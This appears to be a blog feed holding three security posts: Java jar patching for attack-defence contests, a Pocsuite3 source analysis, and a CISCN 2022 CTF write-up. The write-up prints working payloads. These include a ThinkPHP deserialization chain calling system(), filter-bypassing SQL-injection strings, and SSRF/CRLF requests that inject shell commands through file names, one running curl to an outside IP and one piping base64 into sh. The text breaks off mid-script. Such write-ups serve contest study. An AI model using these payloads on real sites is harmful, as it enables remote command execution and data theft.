Str3am's Blog 2024-07-23T03:14:04.656Z https://jlkl.github.io/ Str3am Hexo AWD Java Patch https://jlkl.github.io/2024/07/23/Java-11/ 2024-07-23T02:37:09.000Z 2024-07-23T03:14:04.656Z AWD线下赛修复jar/war包一直手忙脚乱,此篇文章记录几种常用的Java jar包修复方法

反编译成Maven项目

对比于手动编译打包,反编译成Maven项目更加方便快捷(Maven其实也就是干这个事)

手动仅使用原始Java进行反编译并打包可以参考:AWD离线-Jar文件冷补丁

下面记录反编译成Maven项目并进行修复的步骤

  1. 反编译jar包,使用IDEA反编译插件还原源代码,反编译出来还是jar包,直接解压即可
1
/Library/Java/JavaVirtualMachines/jdk-17.0.11.jdk/Contents/Home/bin/java -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true <jar_path> <output_path>

最新版IDEA的反编译插件需要java17

  1. 导入源代码,创建一个空的Maven项目,然后将反编译后/BOOT-INF/classes下的源代码复制到/src/main/java 路径下。视check情况选择是否将resources 下资源文件一起导入

image

  1. 导入依赖库,将BOOT-INF/lib下的依赖复制到项目的lib文件文件夹下(没有这个文件夹,需要自己新建,一般在项目的第一级目录),在文件-项目结构-项目设置-库中将lib文件夹添加为库文件夹,此步骤是解决在离线情况下缺少依赖的问题
  2. 用反编译出的pom.xml 文件覆盖创建的Maven项目中的pom.xml 文件
  3. 修复代码并打包,修改Java源代码,或者根据漏洞点直接修改pom.xml 文件中依赖的版本号,然后使用Maven进行打包,当然也可以直接在在IDEA中点点点。Springboot项目在pom.xml 内置了打包插件,所以选择Maven打包而不是构建成工件的jar或者war包的形式,需要根据实际情况选择如何打包
1
mvn clean package

image

以上展示的是打包一个完整的jar包的步骤,成功完成后会在/target 目录输出修复好的jar包文件,直接-jar 运行即可,当然也可以直接选择使用压缩软件对编译好的class文件进行替换,看文章说Bandizip可以保证替换前后jar包和war包的可用性,使用Maczip测试确实出现如下报错

image

jar uf更新class文件

那么除了使用Bandizip还有其他方法可以更新class文件而不影响jar包和war包的可用性呢,答案是肯定的,可以使用jar uf命令来更新class文件

需要注意在jar包内class文件的真实包名,如下图,这里需要在包名前添加BOOT-INF/classes/ 前缀

image

同时注意根据包名创建文件夹,IDEA中直接把target目录改名为BOOT-INF 即可

image

命令示例

1
jar uf vulnspringboot-1.0-SNAPSHOT.jar BOOT-INF/classes/org/example/controller/SCtfController.class

Javassist修改jar包字节码

可以用以下项目作为脚手架:

非常便捷,在main函数中指定要修改的jar包路径,然后在ExamplePatch 类的patch 方法中编写Javassist修改字节码逻辑即可,同样因为jar包结构问题,需要注意BOOT-INF/classes/ 路径问题

image

修改jar包中class内容

1
2
3
CtClass c1 = new PatchClass("org.example.controller.SCtfController", "BOOT-INF/classes/").getCtClass();
CtMethod write1 = c1.getDeclaredMethod("index");
write1.insertBefore("System.out.println(\"Sakura\");");

修改jar包中依赖的class

1
2
3
4
PatchLibrary patchLibrary = new PatchLibrary("hessian-4.0.4.jar",  "BOOT-INF/lib/");
CtClass c4 = patchLibrary.getCtClass("com.alipay.hessian.NameBlackListFilter");
CtMethod write4 = c4.getDeclaredMethod("resolve");
write4.insertBefore("System.out.println(\"Sakura\");");

同时也支持直接修改class,主要针对tomcat环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// we want to change /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/ctf/BoardServlet.class

// addClassRootPath
patch.addClassRootPath("/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/");

// rewrite it with Javassist
CtClass c2 = new PatchClass("com.ctf.BoardServlet", "").getCtClass();
CtMethod write2 = c2.getDeclaredMethod("index");
write2.insertBefore("System.out.println(\"Sakura\");");

// make sure you set `cleanAfterPatch` = false
patch.setCleanAfterPatch(false);

// then you'll find it in `patch/`

JarEditor修改jar包

比较推荐的方法,IDE插件直接修改jar包内容。对于外部包,右键jar包,Add Library ,就可以直接修改了

image

修改完成后,点击Save(Compile),编译并保存当前修改的java内容,最后点击Build Jar,将编译保存的类文件写入Jar包中

经测试,目前好像没有修改未在jar包中class的功能,对于tomcat环境,可以将classes文件夹压缩并修改为jar后缀即可修改

总结

几种方法优先推荐JarEditor修改jar包,其他思路比如JByteMod直接修改字节码因为普适性不高并没有做演示

同时也测试了arthas用于AWD修复jar包,但由于arthas采用agent原理,有些class并没有被jvm加载导致内存编译功能错误,还是更适用于应急响应以及bug诊断场景

image

Refference

]]>
<p>AWD线下赛修复jar/war包一直手忙脚乱,此篇文章记录几种常用的Java jar包修复方法</p> <h2 id="反编译成Maven项目"><a href="#反编译成Maven项目" class="headerlink" title="反编译成Maven项目"></a>反编译成Maven项目</h2><p>对比于手动编译打包,反编译成Maven项目更加方便快捷(Maven其实也就是干这个事)</p> <p>手动仅使用原始Java进行反编译并打包可以参考:<a href="https://mp.weixin.qq.com/s/hKXYudjEj2Z7nIC1k6NoWQ" target="_blank" rel="noopener">AWD离线-Jar文件冷补丁</a></p> <p>下面记录反编译成Maven项目并进行修复的步骤</p> <ol> <li>反编译jar包,使用IDEA反编译插件还原源代码,反编译出来还是jar包,直接解压即可</li> </ol> <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/Library/Java/JavaVirtualMachines/jdk-17.0.11.jdk/Contents/Home/bin/java -cp <span class="string">"/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar"</span> org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=<span class="literal">true</span> &lt;jar_path&gt; &lt;output_path&gt;</span><br></pre></td></tr></table></figure> <p>最新版IDEA的反编译插件需要java17</p>
Pocsuite3 Source Analysis https://jlkl.github.io/2022/07/14/Web-23/ 2022-07-14T09:41:57.000Z 2022-07-14T09:45:47.822Z 分析版本:pocsuite3-1.9.6

pip直接安装会附带两个可执行文件,pocsuite 对应CLI方式启动,poc-console 对应msf类型的console方式启动

可以从setup.py 和可执行文件源码中发现其实就是运行对应的python文件的方法

image

分析CLI模式,大概流程非常简单清晰,检查环境->初始化配置->start开始扫描任务

image

初始化配置

检查环境这个其实就是判断下是否安装在非全英文目录

pocsuite 模仿sqlmap 使用了AttribDict 来存储配置,更改了配置字典的使用方法,方便配置和更改

1
2
3
4
5
6
7
This class defines the sqlmap object, inheriting from Python data
type dictionary.

>>> foo = AttribDict()
>>> foo.bar = 1
>>> foo.bar
1

原来的字典的用法:dict1["key"],现在的自定义字典的用法:dict1.key

配置文件在pocsuite3/lib/core/data.py

image

这里使用了模块实现了单例模式,Python 的模块就是天然的单例模式,因为模块在第一次导入时,会生成 .pyc 文件,当第二次导入时,就会直接加载 .pyc 文件,而不会再次执行模块代码。因此,我们只需把相关的函数和数据定义在一个模块中,就可以获得一个单例对象了

set_paths(root_path) 设置路径信息

image

通过argparse 解析参数,AttribDict 传递配置

image

这里的配置在其注释里描述的已经很清晰,conf 存储共享的配置和对象,kb 存储目标、注册的POC、扫描的模式、扫描结果等。cmd_line_options 存储原始的命令行配置,merged_options 对应覆盖后参数配置,paths 对应路径信息

自定义了一个输出函数,会根据quiet 的设置判断是否输出,同时做了字符编码、添加颜色的处理,输出使用的是sys.stdout.write 而不是print 这里查了一下print 会多输出一个\n ,这样输出的样式会更好控制一点

image

init() 里关键的_set_pocs_modulespocsuite3/lib/core/option.py

image

遍历pocs目录加载poc,并判断poc是否匹配条件,最后是调用load_file_to_module 去加载poc。这里可以看到之后pocsuite想要直接从pyc文件加载poc,同时这里有从seebug漏洞库加载poc的提示,但是只是提示,实际的实现逻辑并不是在这

image

pocsuite3能够从本地和远程网站上加载poc,可以直接用__import__()来加载,但是如果要远程加载,需要自己实现”查找器”与”加载器”,可以参考

https://docs.python.org/zh-cn/3/reference/import.html

这里加载了名为pocs_xxx 的模块

image

加载的过程,obj 即对应poc文件的源代码,每个poc文件最后都执行register_poc(xxx) ,这里其实就是实例化poc模块,然后放在kb.registered_pocs

image

image

远程加载的逻辑以poc_from_seebug.py 插件为例从seebug漏洞库加载poc的逻辑大概即获取到poc的源代码后通过load_string_to_module 加载

image

image

开始扫描

遍历target和注册的poc存入task队列

image

这里多线程使用生产者/消费者模型,多个线程来消费一个队列,并没有使用Python线程中推荐的join()来阻塞线程,因为使用join()的话,python将无法响应用户输入的消息了,会导致Ctrl+C退出时没有任何响应,所以以while循环的方式来阻塞线程

image

image

taskrun** 函数里最终会调用poc模块父类POCBaseexecute 方法,execute 调用**_execute

image

最后即调用到poc里对应的方法

image

最后output 是一个AttribDict ,存于kb.results

image

参考链接

]]>
<p>分析版本:pocsuite3-1.9.6</p> <p>pip直接安装会附带两个可执行文件,<code>pocsuite</code> 对应CLI方式启动,<code>poc-console</code> 对应msf类型的console方式启动</p> <p>可以从<code>setup.py</code> 和可执行文件源码中发现其实就是运行对应的python文件的方法</p> <p><img src="/2022/07/14/Web-23/p3tiK9gwtGXFzABTU4zamr01aPAQ_FFOZ8qmdT404ls.png" alt="image"></p> <p>分析CLI模式,大概流程非常简单清晰,检查环境-&gt;初始化配置-&gt;start开始扫描任务</p>
CISCN 2022 初赛 WriteUp by 0xFA https://jlkl.github.io/2022/05/30/Web-22/ 2022-05-30T08:26:29.000Z 2022-05-30T08:32:41.290Z web

Ezpop

题目内容:最近,小明在学习php开发,于是下载了thinkphp的最新版,但是却被告知最新版本存在漏洞,你能找到漏洞在哪里吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
1
2
3
http://eci-2zeh1c14i16ne6hcxxxt.cloudeci1.ichunqiu.com/index.php/?s=index/test

a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

简单的渗透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /login.php HTTP/1.1
Host: eci-2ze7x0b01kqqb95bxlbq.cloudeci1.ichunqiu.com
Content-Length: 58
Cache-Control: max-age=0
Origin: http://eci-2ze7x0b01kqqb95bxlbq.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze7x0b01kqqb95bxlbq.cloudeci1.ichunqiu.com/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=f514c6c1942d2d132cc01cfc1d0c1bc54c1ea914; __jsluid_h=df0d3e87a5da34d8dc5601b87508ebdb; PHPSESSID=s195lkel6hhclv2gq2fhbst6ir
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

username=a%27%20or%201%20or%20%271%27=%271&password=123456

参考虎符2022 - babysql
不同点在于后者过滤的东西

1
2
3
4
5
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}

按照之前的来说,之前的payload可以是这样

参考之前我们写过的wp:https://demo.hedgedoc.org/uLxXjonDSMiRRO2o2P3deA#babysql

1
username=1'||case'1'when'1'then'1'else~0+~0+'1'end='0&password=123

这里我们同样构造200和500的不同回显来达到盲注的效果,上面的payload
是使用~0这个东西来达成sql语句报错从而回显500的效果。

0是mysql里面最大的一个整数,如果这个数再加一就会报错下面的错误:
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(
(0) + 1)’

我们再看看上面的过滤,过滤了符号,那我们怎么报错呢?
我们可以看看具体
0是多少:

1
2
3
4
5
6
7
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

那我们直接使用这个数字不就行了?但是还有一个问题,空格怎么办?空格是被过滤掉的
如果直接使用18446744073709551615+1,那么payload长这样:

1
username=1'||case'1'when'1'then'1'else 18446744073709551615+1 end='0&password=123

里面是有2个空格的,但是直接’18446744073709551615’+’1’又不能整数溢出。其实我们想~其实是取反的符号,对0取反才达到了最大整数的效果,那么我们不仅有取反,还有异或等其他位操作,所以我们构造一个异或即可:
最后根据我们的虎符payload来直接开始爆破账号密码

1
username=1'||case'1'when`username`COLLATE'utf8mb4_0900_as_cs'like'a%'then'1'else'1'^18446744073709551614%252b2^'1'end%253d'0&password=123

最后注意爆破的字符集里面的 _ % 等在like语句里面有明确意义的,爆破的时候记得转义一下

最后跑出来的结果:

1
2
3
账号以及密码
awk785969awlfjnlkjlii!@$%!!
PAssw40d_Y0u3_Never_Konwn!@!!

后面还有php代码解密以及反序列化生成的一些任务,因为比赛结束了,所以没解出这题,很遗憾

online_crt

ssrf+crlf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /proxy HTTP/1.1
Host: eci-2zebelhabwvwjvw18eqt.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=f514c6c1942d2d132cc01cfc1d0c1bc54c1ea914; __jsluid_h=d5688935e29b59feeac61f34a0ba8a3c
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

uri=/admin/rename?oldname=1%26%26newname=1%20HTTP/1.1%0d%0aHost:%20admin%0d%0a%0d%0aGET%20/

要绕

1
2
3
c.Request.URL.RawPath != ""

%252f 绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /proxy HTTP/1.1
Host: www.crmeb1.com:8888
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Length: 92
Content-Type: application/x-www-form-urlencoded

uri=/admin%252frename?oldname=1%26%26newname=1%20HTTP/1.1%0d%0aHost:admin%0d%0a%0d%0aGET%20/

可以

1
`touch 123.txt`.crt

这样来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /proxy HTTP/1.1
Host: eci-2zeh4pj6hmpfx2drs3cs.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=f514c6c1942d2d132cc01cfc1d0c1bc54c1ea914; __jsluid_h=d5688935e29b59feeac61f34a0ba8a3c
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 391

uri=/admin%252frename?oldname=ed7426a6-a07f-42cb-b8c6-d2610a0a3522.crt%26%26newname=%25%36%30%25%36%33%25%37%35%25%37%32%25%36%63%25%32%30%25%33%31%25%33%31%25%33%38%25%32%65%25%33%32%25%33%35%25%32%65%25%33%31%25%33%31%25%33%31%25%32%65%25%33%31%25%33%30%25%33%61%25%33%38%25%33%30%25%33%30%25%33%30%25%36%30%25%32%65%25%36%33%25%37%32%25%37%34%20HTTP/1.1%0d%0aHost:admin%0d%0a%0d%0aGET%20/

文件改成功后会有回显
然后 触发命令执行 payload要两次urlencode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /createlink HTTP/1.1
Host: eci-2zeh4pj6hmpfx2drs3cs.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=4155e350957161321937ef8e724d9f067ba0d0dc; __jsluid_h=ac54c0c5c9d982815837432778a9eaa5
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

创建一个crt,将文件名改为echo Y2F0IC9mbGFnCg==|base64 -d|sh -i>>t1.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /proxy HTTP/1.1
Host: eci-2zeh4pj6hmpfx2drs3cs.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=f514c6c1942d2d132cc01cfc1d0c1bc54c1ea914; __jsluid_h=d5688935e29b59feeac61f34a0ba8a3c
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 589

uri=/admin%252frename?oldname=ebacdf06-9a1e-4ac4-9f27-557670ca91de.crt%26%26newname=%25%36%30%25%36%35%25%36%33%25%36%38%25%36%66%25%32%30%25%35%39%25%33%32%25%34%36%25%33%30%25%34%39%25%34%33%25%33%39%25%36%64%25%36%32%25%34%37%25%34%36%25%36%65%25%34%33%25%36%37%25%33%64%25%33%64%25%37%63%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%30%25%32%64%25%36%34%25%37%63%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%33%65%25%37%34%25%33%31%25%32%65%25%37%34%25%37%38%25%37%34%25%36%30%25%32%65%25%36%33%25%37%32%25%37%34%20HTTP/1.1%0d%0aHost:admin%0d%0a%0d%0aGET%20/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /createlink HTTP/1.1
Host: eci-2zeh4pj6hmpfx2drs3cs.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=4155e350957161321937ef8e724d9f067ba0d0dc; __jsluid_h=ac54c0c5c9d982815837432778a9eaa5
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

然后访问文件就有了。

cmdbrowser

ssrf

思考:

  • 可以直接ssrf 6397 redis端口,可以使用http dict gopher等协议直接探测到,但是有一个实时的随机的简单计算题认证才能继续使用info等redis命令
  • 但是通过逆向可以看到curl_easy_setopt等标准库里的curl函数不支持类似tty的强大交互能力
  • 考虑能通过那个实时验证之后是否能够gopher直接写入crontab计划任务后/readflag拿到flag

ida

均为标准库函数
考虑curl_easy_setopt的CVE?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+8h] [rbp-98h]
char v5[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
write(1, "please input a URL\n", 0x14uLL);
__isoc99_scanf("%100s");
v4 = curl_easy_init("%100s", v5);
if ( v4 )
{
curl_easy_setopt(v4, '\'\x12', (__int64)v5);
curl_easy_perform(v4);
}
return 0;
}

/proc/self

1
/home/ctf/cmdbrowser

/proc/self/environ

1
2
3
4
5
6
7
8
9
10
11
REMOTE_HOST=10.0.5.136
HOSTNAME=engine-1SHLVL=1
HOME=/root
_=/etc/init.d/xinetd
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/
KATA_CONTAINER=true
SOCAT_PID=129
SOCAT_PPID=129
SOCAT_VERSION=1.7.3.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
file:///etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
file:///etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow usercommand
17 ** * *root cd / && run-parts --report /etc/cron.hourly
25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

re

misc

ez_usb

  1. 提取2.8.1的流量解密
    (usb.dst == “2.8.1” ) || (usb.src == “2.8.1”)
    1
    tshark -r 2.8.1.pcapng -T fields -e usb.capdata > usbdata2.8.1.txt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    #!/usr/bin/python
    # coding: utf-8
    from __future__ import print_function
    import sys,os

    #declare -A lcasekey
    lcasekey = {}
    #declare -A ucasekey
    ucasekey = {}

    #associate USB HID scan codes with keys
    #ex: key 4 can be both "a" and "A", depending on if SHIFT is held down
    lcasekey[4]="a"; ucasekey[4]="A"
    lcasekey[5]="b"; ucasekey[5]="B"
    lcasekey[6]="c"; ucasekey[6]="C"
    lcasekey[7]="d"; ucasekey[7]="D"
    lcasekey[8]="e"; ucasekey[8]="E"
    lcasekey[9]="f"; ucasekey[9]="F"
    lcasekey[10]="g"; ucasekey[10]="G"
    lcasekey[11]="h"; ucasekey[11]="H"
    lcasekey[12]="i"; ucasekey[12]="I"
    lcasekey[13]="j"; ucasekey[13]="J"
    lcasekey[14]="k"; ucasekey[14]="K"
    lcasekey[15]="l"; ucasekey[15]="L"
    lcasekey[16]="m"; ucasekey[16]="M"
    lcasekey[17]="n"; ucasekey[17]="N"
    lcasekey[18]="o"; ucasekey[18]="O"
    lcasekey[19]="p"; ucasekey[19]="P"
    lcasekey[20]="q"; ucasekey[20]="Q"
    lcasekey[21]="r"; ucasekey[21]="R"
    lcasekey[22]="s"; ucasekey[22]="S"
    lcasekey[23]="t"; ucasekey[23]="T"
    lcasekey[24]="u"; ucasekey[24]="U"
    lcasekey[25]="v"; ucasekey[25]="V"
    lcasekey[26]="w"; ucasekey[26]="W"
    lcasekey[27]="x"; ucasekey[27]="X"
    lcasekey[28]="y"; ucasekey[28]="Y"
    lcasekey[29]="z"; ucasekey[29]="Z"
